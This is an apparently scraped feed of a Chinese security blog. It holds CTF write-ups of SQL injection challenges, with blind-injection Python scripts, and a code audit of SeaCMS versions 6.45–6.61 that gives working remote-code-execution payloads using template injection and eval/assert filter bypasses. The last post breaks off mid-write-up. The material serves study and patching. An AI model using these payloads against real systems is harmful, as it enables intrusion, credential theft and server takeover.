表名为:flag

获得表结构payload:

1
0) union select group_concat(sql),2,3 from sqlite_master--

结构:CREATE TABLE flag (content varchar(100), display int(1), id int(10))

获得flag payload:

1
0) union select content,2,3 from sqlite_master--

Login portal 2

同样试一下username=admin'#&password=,返回Wrong username / password.看样子,注释符好像没有被过滤,因为按照前面几关套路,如果过滤提示的是非法字符,那么既然没过滤注释符的话,那就说明用户名admin不存在,那么老套路username=admin' or 1 or ',返回Wrong password for impossibletoguess.

看样子,像是有对我们输入的参数password和查询结果的password进行对比检查,而弹出的impossibletoguess似乎就是用户名字段

验证一下猜想,试一下username=admin' union select 1,2#,返回Wrong password for 1.

说明第一个字段为用户名字段,既然有回显信息,那么我们就可以很好的利用联合查询

爆表payload:

1
username=admin' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&password=

表名:users

爆列payload:

1
username=admin' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#&password=

列名:username,password

爆用户名impossibletoguess的密码payload:

1
username=admin' union select group_concat(password),2 from users#&password=

密码:1b2f190ad705d7c2afcac45447a31b053fada0c4

直接输入用户名和密码:

1
username=impossibletoguess&password=1b2f190ad705d7c2afcac45447a31b053fada0c4

登录失败,看来密码是经过加密的

长度为40的密码,看样子不像是md5加密,所以猜测是sha1加密

所以后台对比的可能是

1
password == sha1($_POST['password'])

所以我们只需要通过联合注入,将第二个字段(密码字段)为$_POST['password']经过sha1加密后的值即可

最终payload:

1
username=admin' union select 1,sha1(1000)#&password=1000

这题出的挺有意思的,收获挺大

Generate random quote

注入点为GET方式提交的参数q

测试:?q=1'%23无查询结果,?q=1%23,有查询结果,说明参数q无引号包裹,另外过滤了空格,用/**/代替即可

爆列数payload:

1
?q=1/**/order/**/by/**/2%23

列数为2

爆表名payload:

1
?q=1q=0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23

表名:alkdjf4iu,quotes

爆列名payload:

1
?q=0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x616c6b646a66346975%23

这里table_name字段加上单引号查询不到结果,猜测单引号被转义了,所以转为十六进制

列名:id,flag

爆flag payload:

1
?q=0/**/union/**/select/**/1,flag/**/from/**/alkdjf4iu%23

Thinking outside the box is the key

测试?id=1'%23?id=1%23,返回信息SQLite Database error please try again later.

看出这是一个SQLite数据库,所以注释符是--

测试?id=1--,正确返回信息,说明参数id无引号包裹

爆列数payload:

1
?id=0 order by 2--

查询列数为2

爆表名payload:

1
?id=0%20union%20select%201,group_concat(name)%20from%20sqlite_master--

表名:random_stuff,ajklshfajks,troll,aatroll

爆三个表分别的结构payload:

1
?id=0%20union%20select%201,group_concat(sql)%20from%20sqlite_master--
1
CREATE TABLE random_stuff (id int(10), content varchar(100)),CREATE TABLE ajklshfajks (flag varchar(40)),CREATE TABLE troll (id int(10)),CREATE TABLE aatroll (id int(10))

发现flag在表ajklshfajks

爆flag payload:

1
?id=0%20union%20select%201,flag%20from%20ajklshfajks--

No more hacking for me!

题目源代码给出了提示:

1
<!-- urldecode(addslashes(str_replace("'", "", urldecode(htmlspecialchars($_GET['id'], ENT_QUOTES))))) -->

我们可以发现对$_GET['id']进行了两次URL解码,再加上浏览器本身就进行一次解码,所以我们可以对参数id进行URL三次编码,就可以绕过对单引号'的过滤

爆列数payload:

1
2
1%252527%252520order%252520by%2525203--
plain: 1' order by 3--

列数为3

爆表名payload:

1
2
0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528name%252529%25252C3%252520from%252520sqlite_master--
plain: 0' union select 1,group_concat(name),3 from sqlite_master--

表名:random_data

爆表结构payload:

1
2
0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528sql%252529%25252C3%252520from%252520sqlite_master--
plain: 0' union select 1,group_concat(sql),3 from sqlite_master--

结构:CREATE TABLE random_data (id int, message varchar(50), display int)

爆flag payload:

1
2
0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528message%252529%25252C3%252520from%252520random_data--
plain: 0' union select 1,group_concat(message),3 from random_data--

Don’t Stumble in the Process

这题链接到了别的网站,注入点在GET方式传入的参数id,测试发现过滤了关键字union,sleep,并且没有报错信息,测试if未被过滤,所以根据有无返回结果进行基于布尔型的盲注

py脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests

url = "http://challenges.ringzer0team.com:10291?id="
right = "The beautiful goat will be forsaken. In the city of the mountain, a goat of the mountain will rise. The goat of the day will court the count of war."
database = ""
table_name = ""
column_name = ""
flag = ""
ID = ""
quote = ""
f = 0

#注数据库名:sqli291_2
for i in range(1,50):
for j in range(33,127):
payload = "1 and if(ascii(substr(database(),%d,1))=%d,1,0)"%(i,j)
r_url = url + payload
print(r_url)
r = requests.get(r_url)
if right in r.text:
database = database + chr(j)
print(database)
f = 1
break
if j == 126 and f == 0:
break
else:
f = 0

print("database:",database)

#注表名:prophecies
for i in range(1,50):
for j in range(33,127):
payload = "1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,1,0)"%(i,j)
r_url = url + payload
print(r_url)
r = requests.get(r_url)
if right in r.text:
table_name = table_name + chr(j)
print(table_name)
f = 1
break
if j == 126 and f == 0:
break
else:
f = 0
print("table_name:",table_name)

#注列名:id,quote
for i in range(1,50):
for j in range(33,127):
payload = "1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='prophecies'),%d,1))=%d,1,0)"%(i,j)
r_url = url + payload
print(r_url)
r = requests.get(r_url)
if right in r.text:
column_name = column_name + chr(j)
print(column_name)
f = 1
break
if j == 126 and f == 0:
break
else:
f = 0
print("column_name:",column_name)

但是这题没有注出flag

Generate random quote again

源代码给出了提示<!-- <input type="hidden" name="debug" value="false" /> -->

但是一开始这题还是毫无头绪,测试'都无法出现报错,猜不出两个参数qs分别的作用

看到别人的提示才知道,原来后台的SQL语句为:

1
SELECT quote FROM quotes WHERE id = 'htmlspecialchars($id)' AND LENGTH(quote) < CAST('$s' AS INT)

题目给出的参数debug如果设置为true,则可以出现SQL语法报错

由于htmlspecialchars函数,导致单引号会被转化为html实体,而\是不会被转化的,所以当$id=1\时,SQL语句就变成了

1
SELECT quote FROM quotes WHERE id = '1\' AND LENGTH(quote) < CAST('$s' AS INT)

相当于查询字段id值为1\' AND LENGTH(quote) < CAST(,即查询id=1

而我们在通过%23注释掉$s后面的语句,就可以直接进行联合注入,另外这里union需要双写

注表payload:

1
q=0\&s=uunionnion%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

表名:qdyk5,quotes

注列payload:

1
q=0\&s=uunionnion%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7164796b35%23

列名:id,flag

注flag payload:

1
q=0\&s=uunionnion%20select%201,flag%20from%20qdyk5%23

Login portal 3

测试当用户名存在,密码错误时提示Invalid username / password.,用户名不存在时提示No user found.

测试用户名:admin'%23,提示No user found.,猜测注释符#被过滤了,再尝试admin' or '1,提示Invalid username / password.

因为没有回显信息,所以无法使用联合注入,加上sleep也被过滤了,所以这关只能采用基于布尔型的盲注,根据提示信息来判断

payload:

1
username=admin' and if(ascii(substr(database(),1,1))=100,1,0) or '&password=123

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = "https://ringzer0ctf.com/challenges/5"
headers = {
'Cookie':'PHPSESSID=hh2nu3p191c1p294ufuu6n53p7'
}
right = "Invalid username / password."
password = ""

for i in range(1,50):
for j in range(48,123):
print('checking',chr(j))
data = {
'username':"admin' and if(ascii(substr((select password from users),%d,1))=%d,1,0) or '"%(i,j),
'password':'123'
}
r = requests.post(url,data=data,headers=headers)
if right in r.text:
password = password + chr(j)
print("password:",password)
f = 1
break
if j == 122 and f == 0:
break
else:
f = 0

print("password:",password)

#password: SQL1nj3ct10nFTW

登录成功后获得flag

Lite login portal

这题用户名存在和不存在时回显的信息跟上一关一样,不过多了个报错信息,测试admin'时得到报错信息:

1
SQLite Database error please try again later. Impossible to fetch username & password from users table

直接得知了表名users和字段名username,password

测试admin' or '1,回显Invalid username / password.

同样跟上一关一样用布尔盲注,不过这里是SQLite数据库,payload略有不同:

1
username=admin' and substr(,1,1)='a' or '&password=123

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = "https://ringzer0ctf.com/challenges/19"
headers = {
'Cookie':'PHPSESSID=hh2nu3p191c1p294ufuu6n53p7'
}
right = "Invalid username / password."
password = ""

for i in range(1,50):
for j in range(48,123):
print('checking',chr(j))
data = {
'username':"admin' and substr((select password from users),%d,1)='%s' or '"%(i,chr(j)),
'password':'123'
}
r = requests.post(url,data=data,headers=headers)
if right in r.text:
password = password + chr(j)
print("password:",password)
f = 1
break
if j == 122 and f == 0:
break
else:
f = 0

print("password:",password)

#password: 4dm1nzP455

登录成功后获得flag

Internet As A Service

看别人提示的payload:

1
?s=1' || 1e0union select schema_name,2,3 from information_schema.schemata%23

没搞得太懂,1e0union貌似是为了绕过%20union的过滤

数据库名:iaas

注表payload:

1
?s=1' || 1e0union select table_name,2,3 from information_schema.tables where table_schema like 'iaas'%23

表名:iaas,rz_flag

注列payload:

1
?s=1' || 1e0union select column_name,2,3 from information_schema.columns where table_name like 'rz_flag'%23

列名:flag

1
?s=1' || 1e0union select flag,2,3 from rz_flag%23

Login portal 4

这题不论用户名是否存在,密码错误都会返回Invalid username / password.尝试用户名username=admin' or '1,提示非法字符,猜测过滤了or+空格+任意字符,可以用||代替or

这题只能用延时注入,payload如下:

1
username=' || if(ascii(substr((select password from users),1,1))=100,sleep(3),1) || '&password=1

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = "https://ringzer0ctf.com/challenges/6"
headers = {
'Cookie':'PHPSESSID=hh2nu3p191c1p294ufuu6n53p7'
}
password = ""
f = 0

for i in range(1,50):
for j in range(48,123):
print("checking",chr(j))
data = {
'username':"' || if(ascii(substr((select password from users),%d,1))=%d,sleep(5),1) || '"%(i,j),
'password':'1'
}
try:
r = requests.post(url,data=data,headers=headers,timeout=4.5)
except:
password = password + chr(j)
print("password:",password)
f = 1
break
if f == 0 and j == 122:
break
f = 0

print("password:",password)

成功登录后获取flag

]]>
sql
代码审计--seacms命令执行漏洞(6.45后续版本) https://Foxgrin.github.io//posts/10257/ 2019-04-03T08:15:00.000Z 2019-04-06T02:49:11.598Z 继续跟踪海洋cms 6.45后续版本是否修复命令执行漏洞

seacms 6.54

参考链接:漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警

在之前的6.45版本中,由于服务器未对参数$order进行合理的过滤:$order = !empty($order)?$order:time;,导致$order内容替换模板$content内容:$content = str_replace("{searchpage:ordername}",$order,$content);,之后$content内容传入parseIf函数,通过正则匹配规则{if:(.*?)}(.*?){end if}匹配后的内容传入命令执行函数@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");,最终导致了getshell

这次我继续跟踪6.54版本,首先看一下它的更新日志

1
2
3
4
5
6
7
8
9
10
11
12
更新日期:2017年8月7日 v6.54
修复:紧急修复2处高危安全漏洞

更新日期:2017年8月6日 v6.53
新增:微信公众平台模块
优化:采集逻辑
修复:部分文字描述错误
更新日期:2017年2月18日 v6.46
修复:两处安全问题

更新日期:2017年2月6日 v6.45
修复:一处安全问题

审计后发现,与6.45版本不同的是,6.54版本中/search.php的第65行对参数$order进行了白名单的过滤

1
$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

看似成功修复了6.45版本的order参数导致的命令执行getshell漏洞,但是本质上还是未对该漏洞进行修复,order参数只是6.45版本中最好利用的命令注入点,并不代表其他参数不存在注入点

下面我们再重新梳理一遍该cms对用户输入的过滤点,首先是全局文件/include/common.php的转义处理

1
2
3
4
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

第二个是在/search.php本文件下对用户输入参数的过滤,包括RemoveXSS函数过滤和最多20字符的限制

1
2
3
4
5
6
$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));

$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));
...

虽然一个参数无法绕过这些过滤,但是我们知道模板内容替换的参数不止一个,所以,可以用多个参数组合替换的方法进行getshell

下面贴上参考文章抓取的攻击payload

1
2
POST
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

可以看到,注入点已经不止一个,也不是之前的order

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function echoSearchPage()
{
......
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
......
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
......
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
......
$content=$mainClassObj->parseIf($content);

以上是/search.php文件中对模板内容{searchpage:}替换payload所用参数的顺序,根据上面的payload,最终替换的$content内容包含了

{if:eval(join($_POST[9]))}

然后传入parseIf函数中的命令执行函数eval,最终执行eval("if(eval(join($_POST[9])))"),下面是最终执行的效果图

虽然是通过多个参数拼接起来,但是最关键的注入点还是在于参数$searchword,所以,根据参考文章中的修复方法是过滤参数$searchword中的{searchpage:内容

1
if(strpos($searchword,'{searchpage:')) exit;

seacms 6.55

拿到6.55版本源码,直接按6.54的payload测试,发现行不通,看来有进行一些修复,审计完,对比6.54,一方面还是对参数$order进行了一个白名单过滤,位置在/search.php第66-67行

1
2
$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc');
if(!(in_array($order,$orderarr))){$order='time';}

当然,在6.54我们就已经分析过,造成漏洞的注入点不仅仅只有参数$order一个,还可以通过各个参数拼接

另外,在parseIf加入了对$content匹配内容结果数组$iar也进行了黑名单过滤

1
2
3
4
foreach($iar as $v){
$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;

可以看到,我们之前payload的eval,_POST都在黑名单数组中,最后被替换成了@.@,所以原来payload肯定是行不通的,那么,是否真的解决了安全问题呢,其实并没有,我们仔细看黑名单内容,就能发现,其实这里只过滤了一个php执行函数evalassert函数并没有被过滤。另外,虽然_GET,_POST,_COOKIE,_REQUEST被过滤,但是_SERVER没有被过滤。所以,过滤并不完整,还是可以通过拼接参数的方法进行getshell,只不过换一个函数和全局变量罢了,payload如下:

1
2
3
4
POST /seacms6.55/search.php?phpinfo();
...

searchtype=5&searchword={if{searchpage:year}&year=:a{searchpage:area}}&area=s{searchpage:letter&letter=ser{searchpage:lang}&yuyan=t({searchpage:jq}&jq=$_S{searchpage:ver}}&&ver=ERVER[QUERY_STRING])

最后的执行效果:

所以,修复方法也还是需要针对参数searchword{searchpage:内容

seacms 6.61

6.61版本同样对参数$order进行了白名单过滤

1
2
$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc');
if(!(in_array($order,$orderarr))){$order='time';}

并且同样在parseIf函数中对$iar匹配数组进行了黑名单过滤

1
2
3
4
foreach($iar as $v){
$iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;

我们可以发现这个版本的黑名单相对于6.55版本添加过滤了关键字assert_SERVER

但是,在search.php中,又新添加了针对于6.54和6.55漏洞提出者提议的过滤:

1
if(strpos($searchword,'{searchpage:')) {ShowMsg('请勿输入危险字符!','index.php','0',$cfg_search_time*1000);exit;}

即对参数$searchword的内容{searchpage:进行了过滤

这次的过滤可谓是比较全面的了,不仅仅是参数$order,也过滤了参数拼接,看似已经很安全,但是还是有大佬挖出来了,emmm再次不得不感叹有输入的地方就可能存在漏洞,百密一疏都可能导致漏洞的发生

贴上参考链接:CVE-2018-14421——Seacms后台getshell分析

参考链接给出的漏洞处在后台管理->添加影片->图片地址

1
{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}

之后访问/detail/?1.html&a=assert&b=phpinfo();/search.php?searchtype=5&a=assert&b=phpinfo();都可以成功getshell

先验证一下

添加后访问

都成功,说明payload有效,我们观察一下payload,其实挺像我们在6.45版本中$order参数的注入内容,所以猜测同样是替换模板进行命令执行的,但这都是猜测,要真正弄懂还是要一步步跟踪到漏洞根源

首先我们先抓包获取我们注入payload的参数名

参数名为v_pic,并且接收该参数的文件名:/backend/admin_video.php?action=save&acttype=add也知道了,那么接下来只需要在该文件中搜索关键字v_pic即可

在111行:$v_pic = cn_substrR($v_pic,255);获取该参数值,cn_substrR只是一个截取255长度的函数,不需要关注

之后在117行处:

我们可发现参数$v_pic拼接至变量$insertSql后添加到数据库中,到这里数据就添加成功了,也就是说,后台对我们输入的内容除了截取255长度的处理外无其他处理,此时,payload已经入库

之后我们在后台管理->管理影片

可以发现,我们添加的影片内容,在/detail/?1.html下可以访问,那么老样子,直接搜索关键字v_pic,在101行中搜索到:$v_pic=$row['v_pic'];,跟踪变量$row,在23行中搜索到:$row=$dsql->GetOne("Select d.*,p.body as v_playdata,p.body1 as v_downdata,c.body as v_content Fromsea_datad left joinsea_playdatap on p.v_id=d.v_id left joinsea_contentc on c.v_id=d.v_id where d.v_id='$vId'")

即从数据库中取出我们之前添加的$v_pic,之后在102行中:

1
2
3
4
5
6
if(!empty($v_pic)){
if(strpos(' '.$v_pic,'://')>0){
$content=str_replace("{playpage:pic}",$v_pic,$content);
}else{
$content=str_replace("{playpage:pic}",'/'.$GLOBALS['cfg_cmspath'].ltrim($v_pic,'/'),$content);
}

进行熟悉的模板内容替换,果然如之前猜测的一样,再搜索关键字parseIf,在161行中搜索到:$content=$mainClassObj->parseIf($content);

接下来,只需要找到模板文件,就能弄清楚替换后内容,模板文件为:/templets/default/html/content.html,搜索关键字{playpage:pic},在第22行中搜索到:

1
<a class="videopic" href="{playpage:playlink}" title="{playpage:name}" style="background: url({playpage:pic})  no-repeat; background-position:50% 50%; background-size: cover;">

所以,我们替换的内容即为:

1
<a class="videopic" href="{playpage:playlink}" title="{playpage:name}" style="background: url({if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if})  no-repeat; background-position:50% 50%; background-size: cover;">

替换后进入parseIf函数匹配到的内容即为:{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if},进入命令执行的内容为:

1
@eval("if(1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//){ \$ifFlag=true;} else{ \$ifFlag=false;}");

在前面的分析中,我们知道parseIf函数中添加过滤了assert_SERVER,但是还有个全局变量$GLOBALS未被过滤,它一个包含了全部变量的全局组合数组,变量的名字就是数组的键。也就是说$GLOBALS['_GET']就相当于$_GET ,那么$GLOBALS['_G'.'ET'][a]就相当于$_GET['a']$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);?a=assert&b=phpinfo();就相当于assert(phpinfo(););

最后附上参考链接的总结图:

]]>
代码审计
代码审计--seacms6.45前台getshell https://Foxgrin.github.io//posts/23000/ 2019-04-02T11:15:00.000Z 2019-04-02T13:45:56.033Z 这次上海ctf的web题中出现了之前bugku也有的经典海洋cms命令执行漏洞,趁着比赛刚结束刚好对海洋cms漏洞进行审计复现

全局审计

首先对网站的全局文件进行审计,在根目录文件/index.php中跟踪全局文件/include/common.php

1
2
3
4
5
#common.php 第45-48行
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

发现对GET,POST,COOKIE的键值取出作为新的变量,并对键值通过_RunMagicQuotes函数进行过滤,跟踪该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#common.php 第29-43行
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

对键值进行了转义处理

漏洞分析

下面来到关键的存在漏洞的search.php下,在开头还看到了一处过滤点

1
2
3
4
5
6
#search.php 第6-10行
foreach($_GET as $k=>$v)
{
$$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
$schwhere.= "&$k=".urlencode($$k);
}

RemoveXSS函数是ThinkPHP框架中用来预防XSS攻击的过滤函数,并经过_RunMagicQuotes的转义处理

1
2
3
4
5
6
7
#search.php 第54-58行
if($searchword==''&&$searchtype!=5)
{
ShowMsg('关键字不能为空!','index.php','0',$cfg_search_time*1000);
exit();
}
echoSearchPage();

在执行漏洞函数echoSearchPage之前,必须满足$earchtype==5的条件

命令执行漏洞存在于函数echoSearchPage

1
2
3
4
5
6
7
8
9
10
11
12
13
function echoSearchPage()
{
...
$order = !empty($order)?$order:time;
...
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
...
$content=$mainClassObj->parseIf($content);
...
}

以上代码是该函数漏洞存在的关键语句,至于为什么存在漏洞,我们继续跟踪函数parseIf就能明白

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#/include/main.class.php 第3098行
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
...
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
...
@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
...

上述关键性代码中,很简单明了看出了最终漏洞存在语句@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}"),知道了漏洞存在点,我们就一步步的追溯回去。

首先跟踪变量$strIf,在$strIf=$iar[1][$m];语句中对其进行赋值,变量$iar[1]又是什么,我们继续跟踪,在语句preg_match_all($labelRule,$content,$iar);中,通过正则匹配函数preg_match_all将匹配结果赋值给了数组变量$iar,函数中的第二个参数,即匹配的字符串,即为传入的变量$content,第一个参数,即匹配规则变量$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is")bulidregx函数作用是创建正则匹配规则表达式,则最后匹配规则为/{if:(.*?)}(.*?){end if}/is,匹配结果$iar数组[0]为所有匹配结果,[1]为匹配规则中第一个括号中内容匹配结果,[2]为匹配规则中第二个括号中内容匹配结果。另外(.*?)代表贪婪匹配。所以,匹配字符串一定要包含的内容有{if:}{end if},不包含{else if,那么匹配到的第一个括号内容,即$iar[1]内容就会被传入eval函数中执行

现在理清一下思路,目前已知,命令执行的条件是我们传入的参数$content必须符合正则匹配内容,并且将第一个括号里的内容作为命令执行,我们这里可以先思考一下,传入什么内容进行getshell,就目前而已,传入$content带有{if:1)phpinfo();if(1}{end if},拼接到eval函数中为@eval("if(1)phpinfo();if(1) { \$ifFlag=true;} else{ \$ifFlag=false;}");,即可getshell

所以,我们接下来回到search.php文件的函数下echoSearchPage,跟踪$content变量即可,其实从上面的关键代码,我们就可以猜到,$content实际上就是一个网站模板,内容来自于/data/cache下面,然后再通过str_replace函数对模板内容进行替换,在echoSearchPage函数的开头,我们就发现变量$order = !empty($order)?$order:time;而该变量可以通过POST和GET的方式获取到,如果是GET,则又XSS过滤和转义处理,如果是POST,则只有转义处理。之后,通过语句$content = str_replace("{searchpage:ordername}",$order,$content);对模板中的{searchpage:ordername}进行了替换

以下取自模板文件中的代码

那么,如果我们传入参数order为上面的getshell内容即order={if:1)phpinfo();if(1}{end if},那么替换到模板中,即$content包含的内容{if:"{if:1)phpinfo();if(1}{end if}"=="time"},那么,传入parseIf函数,经过正则匹配的内容,就为$iar[0][m]={if:"{if:1)phpinfo();if(1}{end if}$iar[1][m]="{if:1)phpinfo();if(1,最后拼接到eval函数中为@eval("if({if:1)phpinfo();if(1) { \$ifFlag=true;} else{ \$ifFlag=false;}");,很明显会导致执行失败,因为原来的模板中还包含了个{if:

我们可以通过在源代码中加入测试语句即可发现:

所以我们还要想办法,闭合前面的{if:,最终payload如下:

1
POST:searchtype=5&order=}{end if}{if:1)phpinfo();if(1}{end if}

最终执行结果:

漏洞成因

纠其漏洞根本,还是对用户输入参数未过滤完全,为什么这里选择参数$order,一开始我也有这个疑问,这里明明不止替换这一个模板参数,但是经过尝试其他参数如$area,$year等,发现都无法执行,这时我们来到文件开头部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);

$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));

$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));

$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));

...

可以发现,这些参数都经过RemoveXSS的过滤,而我们payload中的参数order,我们可以全局搜索一下,除了转义以外,未做任何过滤处理,所以最简单的修复该漏洞方法,我觉得应该就是添加上对参数orderRemoveXSS函数过滤

参考链接

最后附上参考文章:https://bbs.ichunqiu.com/thread-35085-1-1.html

]]>
代码审计
上海"嘉伟思杯"ctf https://Foxgrin.github.io//posts/45634/ 2019-03-31T07:15:00.000Z 2019-03-31T07:26:48.562Z 上海ctf WriteUp

Web

土肥原贤二

题目链接:http://47.103.43.235:81/quest/web/a/index.php

SQL注入题,没有过滤特殊字符,gid通过单引号包裹,采用联合查询注入

payload:?gid=0'%20union%20select%201,(select%20flag%20from%20flag),3,4%23

flag:flag{20_welcome_19}

吴佩孚

题目链接:http://47.103.43.235:85/b/%E7%AC%AC%E4%B8%80%E9%A2%98_js%EF%BC%9F.txt

给了一串字符,经过base64解密后,得到一串jsfuck代码,经过网站https://www.bugku.com/tools/jsfuck/解密后得到flag

flag:flag{sdf465454dfgert32}

戴星炳

题目链接:http://47.103.43.235:82/web/a/index.php

题目意思是计算一串公式,但是每次刷新页面公式内容都会变化,所以要通过python的Session机制提交计算结果,脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests,re
from bs4 import BeautifulSoup

s = requests.Session()
url = "http://47.103.43.235:82/web/a/index.php"
r = s.get(url)
soup = BeautifulSoup(r.text,'lxml')
a = re.findall('<p>(.*)</p>',str(soup.find_all('p')[1]))[0]
result = eval(a)

data = {
'result':result
}
r1 = s.post(url,data=data)
print(r1.text)

flag:flag{Y0U_4R3_3o_F4ST!}

晴气庆胤

题目链接:http://47.103.43.235:85/a/

源代码给出了提示:if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))

要提交两个md5值完全相等的参数,参考链接https://xz.aliyun.com/t/2232

通过链接中的fastcoll_v1.0.0.5.exe文件,使用命令fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt

生成1.txt2.txt两个文件

再通过以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制hash '. md5( (readmyfile("1.txt")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("1.txt"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5(urlencode (readmyfile("1.txt")));
echo "<br><br>\r\n";
echo '二进制hash '.md5( (readmyfile("2.txt")));
echo "<br><br>\r\n";
echo 'URLENCODE '. urlencode(readmyfile("2.txt"));
echo "<br><br>\r\n";
echo 'URLENCODE hash '.md5( urlencode(readmyfile("2.txt")));
echo "<br><br>\r\n";

生成两个hash一样,但是实际内容不一样的字符串

将这两串字符分别提交,获得flag,payload:

1
